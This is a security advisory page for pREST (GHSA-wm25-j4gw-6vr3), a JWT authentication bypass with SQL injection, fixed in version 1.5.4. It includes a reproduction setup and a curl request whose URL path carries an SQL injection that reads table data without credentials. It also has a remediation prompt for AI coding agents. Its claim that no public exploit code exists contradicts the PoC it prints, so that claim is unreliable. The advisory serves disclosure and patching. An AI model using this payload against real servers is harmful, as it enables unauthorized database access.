# GHSA-wm25-j4gw-6vr3: pREST vulnerable to jwt bypass + sql injection

> Attackers can bypass JWT authentication and execute SQL injection to read sensitive database data without credentials.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 30 Jul 2024
- **Also known as:** GO-2024-3011

## What is GHSA-wm25-j4gw-6vr3?

GHSA-wm25-j4gw-6vr3 is a SQL injection vulnerability in github.com/prest/prest, published on 30 Jul 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
Probably jwt bypass + sql injection
or what i'm doing wrong?

### PoC (how to reproduce)

1. Create following files:

docker-compose.yml:
```
services:
  postgres:
    image: postgres
    container_name: postgres_container_mre
    environment:
      POSTGRES_USER: test_user_pg
      POSTGRES_PASSWORD: test_pass_pg
      POSTGRES_DB: test_db
  prest:
    image: prest/prest
    build: .
    volumes:
      - ./queries:/queries
      - ./migrations:/migrations
    ports:
      - "3000:3000"
```

Dockerfile:
```
from prest/prest:latest

COPY ./prest.toml prest.toml
```

prest.toml:
```
debug=false
migrations = "./migrations"

[http]
port = 3000

[jwt]
default = true
key = "secret"
algo = "HS256"

[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"

[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"

[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = "/queries"
```

2. run commands:

```
mkdir -p migrations queries
docker compose up --build -d
```
wait for pg and prest, then run following to add test data to the pg:

```
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
```

3. SQL injection even without jwt token:
```
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
```
output:
```
[{"id": 1, "secret_data": "some secret text"}]
```

## Which versions are affected by GHSA-wm25-j4gw-6vr3?

3 open source packages ship an affected version, including github.com/prest/prest.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/prest/prest` | Go | All versions | 1.5.4 |
| `github.com/prest/prest` | Go | All versions | 1.5.4 |
| `github.com/prest/prest` | Go | All versions | 1.5.4 |

## How do I fix GHSA-wm25-j4gw-6vr3?

Upgrade github.com/prest/prest to 1.5.4 or later.

## Is GHSA-wm25-j4gw-6vr3 being exploited?

There is no known exploitation of GHSA-wm25-j4gw-6vr3 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-wm25-j4gw-6vr3 and fix it if it is affected.

What it is: GHSA-wm25-j4gw-6vr3 is a SQL injection vulnerability in github.com/prest/prest, published on 30 Jul 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-wm25-j4gw-6vr3 in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4
- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4
- github.com/prest/prest (Go): affected all versions; fixed in 1.5.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/ (Markdown: https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-wm25-j4gw-6vr3

---
From sbomify Insights: https://insights.sbomify.com/GHSA-wm25-j4gw-6vr3/
Summaries are generated and may contain mistakes; the official description above is the record.
